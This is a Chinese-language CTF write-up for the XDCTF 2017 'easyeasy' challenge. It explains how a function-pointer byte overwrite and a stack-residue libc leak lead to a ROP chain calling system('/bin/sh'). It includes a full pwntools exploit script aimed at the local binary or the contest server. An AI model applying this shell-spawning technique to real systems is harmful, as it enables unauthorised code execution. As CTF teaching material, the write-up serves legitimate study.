[XDCTF-2017] easyeasy

分析

拿到题目后F5,发现是个菜单题,并且给出了libc

linux下如何加载指定的so文件,可以见: Linux 加载动态链接库原理分析

先挑重点说吧

sub_400B4B

在这里 qword_6020D0 这个全局变量被分析出了奇怪的语法

奇怪的语法

考虑它是一个结构体一样的东西,根据F5手动创建一个结构体

结构体

创建后F5便正常了许多

正常

在阅读源码后可以得知,在执行 sub_400985 时可以将 fun4 的最后一个byte重写,也就是说在

1
(*(void (**)(void))(*qword_6020D0)->fun4)();

可以执行到 0x400A**

在翻看汇编代码时发现,若是让其执行到 0x00400AAF ,则它在执行其内部的 0x400A35

会触发栈溢出,同时 0x400A35 并没有 canary ,简直完美的利用条件

溢出点

以这个图为例,可以构造如下rop链

0x7ffca4b29fb0 -> pop rdi;retn

0x7ffca4b29fb8 -> /bin/sh

0x7ffca4b29fc0 -> system

即可获取shell

pop rdi;retn 已经找到

也就是说,若是泄露了 libc 的地址,那么一切问题都解决了。

(然而智障的我被坑了好久

下面这句话是重点!

在初始化got表时,会调用libc中的某个函数,也就是说在初始化got表时,会在栈上残留一些指向libc的指针!

注:若是需要这样泄露libc地址时,千万不要乱nop函数,比如nop掉alarm函数,这样会导致栈信息的变化。同时这个操作极其依赖libc,最好能加载泄露的libc进行调试

sub_400A35 中,它写入数据时并没有在结尾加 ‘\0’ ,因此可以借它泄露信息。

0x0400AC4 下断点,查看此时的内存

stack

可以知道 0x7ffc07edc048 指向了该libc的 libc.bss(4176) 这个位置,这样一来就有了所有的信息

POC

下面为本题的 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *

DEBUG = 0
LOCAL = 1
VERBOSE = 1

def call_byte(program, addr):
program.sendline('4')
program.sendline('1')
# 32=0x20 恰好为最后一个函数指针的位置
program.sendline('32')


for i in range(3):
program.sendline('4')
program.sendline('4')

program.recvuntil('Give me your luckynum:\n')

program.sendline(str(addr))

def call(program, rbp, addr_list):
call_byte(program, 0xAF) #call read
payload = 'a' * 8 + p64(rbp)
for addr in addr_list:
payload += p64(addr)

program.send(payload)

def get_libc_addr(program, libc):
program.send('a' * 0x7 + '[')
program.recvuntil('[')
addr = u64(program.recv(6) + '\x00\x00') # _IO_stdfile_2_lock wtf????

program.recvuntil('5. exit\n')
program.sendline('1')
program.sendline('10')
program.sendline('plusls')
program.recvuntil('Success!')
program.recvuntil('5. exit\n')

libc_addr = addr - libc.bss(4176)
log.info('libc addr=' + hex(libc_addr))
log.info('system addr=' + hex(libc_addr + libc.symbols['system']))

return libc_addr

def main():
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
program = process('./easyeasy')
else:
program = remote('117.34.105.149', 1251)
if DEBUG:
gdb.attach(program)

libc = ELF('libc.so.6')
libc_addr = get_libc_addr(program, libc)

addr_list = [0x4010b3,libc_addr + list(libc.search('/bin/sh'))[0], libc_addr + libc.symbols['system']]


call(program, u64('aaaaaaaa'), addr_list)

program.interactive()

if __name__ == '__main__':
main()

flag我也忘了

附录

附件: easyeasy.zip

包含idb文件以及题目